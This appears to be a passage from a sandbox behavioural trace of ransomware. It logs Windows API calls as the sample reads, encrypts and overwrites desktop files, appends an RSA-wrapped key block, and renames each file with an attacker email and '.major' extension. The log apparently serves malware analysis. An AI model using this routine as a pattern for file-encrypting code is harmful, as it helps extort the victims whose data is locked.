[0145.104] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xe012, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xe012, lpOverlapped=0x0) returned 1 [0145.106] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-57362, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.106] WriteFile (in: hFile=0x5e4, lpBuffer=0x63f8b8*, nNumberOfBytesToWrite=0xe012, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f8b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe012, lpOverlapped=0x0) returned 1 [0145.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.106] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f8b8 | out: hHeap=0x570000) returned 1 [0145.106] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe012 [0145.106] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.106] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.106] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.106] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.106] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.107] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eiUmI8DZcqajusum03EXxWzX4210cnliExkPgWesNcgNs1FPIlSkXmqMLDBDeFYf\nsagaW/gP0sR/X9sm0qQHKSjSZ4rcP813iGpE83SKGjQsRQOmnED77x6kbldXQg3P\n0QPbxtZ/mO6tmHijYYYo3hXIgFbEj1U5Qk2isY4ofTHZLIax6Z2ThaM9gQdS24ds\nk5pl++7Pxaq+cXDRyyaqgNosGMtp96v6HcrG5YDgVNT58YSAolBhtxPyyeLX4vPv\ngMqPpu/Fi8MZnhOCRc+OQ3cmrXWcxfEcXuuyJ+v9OispCpwU/pjUIPrtLxgPfmLj\nOtZDzSWSbXrIXeikfk0MkQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.107] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.107] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.107] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.107] CloseHandle (hObject=0x5e4) returned 1 [0145.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.107] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\eRtQ2rKaHZAhQ4Oz.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\ertq2rkahzahq4oz.jpg"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\eRtQ2rKaHZAhQ4Oz.jpg.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\ertq2rkahzahq4oz.jpg.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e730 | out: hHeap=0x570000) returned 1 [0145.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0145.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0145.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc850 [0145.109] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.109] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\E0oPk8DHQ2yOUt.avi", dwFileAttributes=0x80) returned 1 [0145.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0145.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0145.110] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\E0oPk8DHQ2yOUt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\e0opk8dhq2yout.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.110] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=79855) returned 1 [0145.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x137ef) returned 0x631898 [0145.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x137ef) returned 0x645090 [0145.110] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x137ef, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x137ef, lpOverlapped=0x0) returned 1 [0145.111] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-79855, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.111] WriteFile (in: hFile=0x5e4, lpBuffer=0x645090*, nNumberOfBytesToWrite=0x137ef, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x645090*, lpNumberOfBytesWritten=0x2e3f9b4*=0x137ef, lpOverlapped=0x0) returned 1 [0145.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x645090 | out: hHeap=0x570000) returned 1 [0145.112] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x137ef [0145.112] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.112] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.112] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.112] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.113] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.113] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="+kGians3o6ptgMIVSywBKwfLnVMiu8avClyS5Jds/5pGuJuP2mgYtTh6ofaD5DR0\ng4SWD7UYbkVcF+sy/q7YWATMZLyHGgEvWNo+mgqgwBv/2eGepRYT6bQ1KjhV/27n\nS4G2mk6/Oz9w9/b25RwTkeDxxnGWwlGD6TYNKHNMuDjVTkd6XRnhUGYsHQigBrfN\nXvyMuPKJf/UKbgV9LiVJfEeXm8IC29zNqNxzlbfLZ9ZIQ0J9Zw8EADvl+Uu5toZf\nSGYriF5zuN9arHyxDIWg8IRlpX5JeW2CgYOtK0AS6LHJXBxlEUQEXFJjeRq3UjiP\nLKML3OAW3Rnn4q+QNGe7FA==\n", pcchString=0x2e3f9a8) returned 1 [0145.113] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.113] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.113] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.113] CloseHandle (hObject=0x5e4) returned 1 [0145.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.113] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\E0oPk8DHQ2yOUt.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\e0opk8dhq2yout.avi"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\E0oPk8DHQ2yOUt.avi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\e0opk8dhq2yout.avi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0145.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0145.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0145.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0145.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.115] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.115] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\DjICj.m4a", dwFileAttributes=0x80) returned 1 [0145.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0145.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0145.116] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\DjICj.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\djicj.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.116] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83731) returned 1 [0145.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14713) returned 0x631898 [0145.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x14713) returned 0x645fb8 [0145.116] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x14713, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x14713, lpOverlapped=0x0) returned 1 [0145.118] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-83731, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.118] WriteFile (in: hFile=0x5e4, lpBuffer=0x645fb8*, nNumberOfBytesToWrite=0x14713, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x645fb8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14713, lpOverlapped=0x0) returned 1 [0145.118] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.119] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x645fb8 | out: hHeap=0x570000) returned 1 [0145.119] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14713 [0145.119] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.119] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.119] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.119] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.120] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.120] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.120] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="sMD9j+QL9lFf1h6CYt749hsLr2srks+TqYLUt8LFCK3NXSKCvUtgjJRtHyp4OUiW\n1rnTq2xUKfJAEEhNyJ9UHceYl0/iEzpWRgU/HeGHgjZfB1fBHZsOxhhdsunu8q+x\nrLzk1E2rgZAG/VYaT+TocXw6cWIH8vVH7xnc/YEProrWoxtGLf7gzwkpgPcbx/9l\nKWS/S/RCSk+hKgtl38cJry5HxDoubOW72b7k+pvHQF6X4jw5OfsF55YUNoZeL/kz\nELPEiFZ5J/qdv0iVsui1iR01sIBvFtteIyQxBBnO2OrG3aJLBJ31JUU47L4QkU/i\nNfu78oMfZjrH23c+XpE/Sg==\n", pcchString=0x2e3f9a8) returned 1 [0145.120] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.120] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.120] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.120] CloseHandle (hObject=0x5e4) returned 1 [0145.120] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.120] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\DjICj.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\djicj.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\DjICj.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\djicj.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0145.122] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0145.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0145.122] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.122] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.123] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini", dwFileAttributes=0x80) returned 1 [0145.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be6e0 [0145.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5bf3d8 [0145.123] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0145.123] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.123] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=282) returned 1 [0145.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11a) returned 0x57eca8 [0145.123] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11a) returned 0x5c1ce8 [0145.123] ReadFile (in: hFile=0x5e4, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x11a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x11a, lpOverlapped=0x0) returned 1 [0145.124] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.124] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11a, lpOverlapped=0x0) returned 1 [0145.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0145.124] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.124] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11a [0145.124] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.124] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.125] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.125] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.125] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.125] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.125] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="jqGjOHSqGcPc02n9VnNJIhOMQ+80PltAyFSn9J5ba/SM2Zi0wOFKO7M47ks1juTN\nQTyay8hkVp6k2+Cvuurr55c2PUHHNW44uvh6bbjh2oOa8ndyDna/3NemFvaAX/VX\nLbpvwhQWEpyS/f5olhuTzb7tEnTzPyafsqqEDr4FRB1xvqAbHqJHpzdbLVAGue+X\n7mjWokQpHojaMy0NmXMNHyfE6qkM5irI7xCnAShw5x5YGjc4IQO1yVZLjAeze7oY\nDIWxfZjub651rKCI7jbRu3JSqeZ/FUG3GExr00od9U7vgoxKIYhnER+KQUPysKiC\n5vqhAKg0YosDK5mHRfcICQ==\n", pcchString=0x2e3f9a8) returned 1 [0145.125] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.125] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.125] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.125] CloseHandle (hObject=0x5e4) returned 1 [0145.125] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.125] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0145.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0145.128] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0145.128] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.128] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.128] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\D9SKfMGtJgqXnu.bmp", dwFileAttributes=0x80) returned 1 [0145.128] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0145.128] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.128] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0145.128] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\D9SKfMGtJgqXnu.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\d9skfmgtjgqxnu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.128] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=46033) returned 1 [0145.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb3d1) returned 0x631898 [0145.129] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb3d1) returned 0x63cc78 [0145.129] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xb3d1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xb3d1, lpOverlapped=0x0) returned 1 [0145.130] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-46033, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.130] WriteFile (in: hFile=0x5e4, lpBuffer=0x63cc78*, nNumberOfBytesToWrite=0xb3d1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63cc78*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb3d1, lpOverlapped=0x0) returned 1 [0145.131] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.131] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63cc78 | out: hHeap=0x570000) returned 1 [0145.131] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb3d1 [0145.131] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.131] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.131] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.131] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, 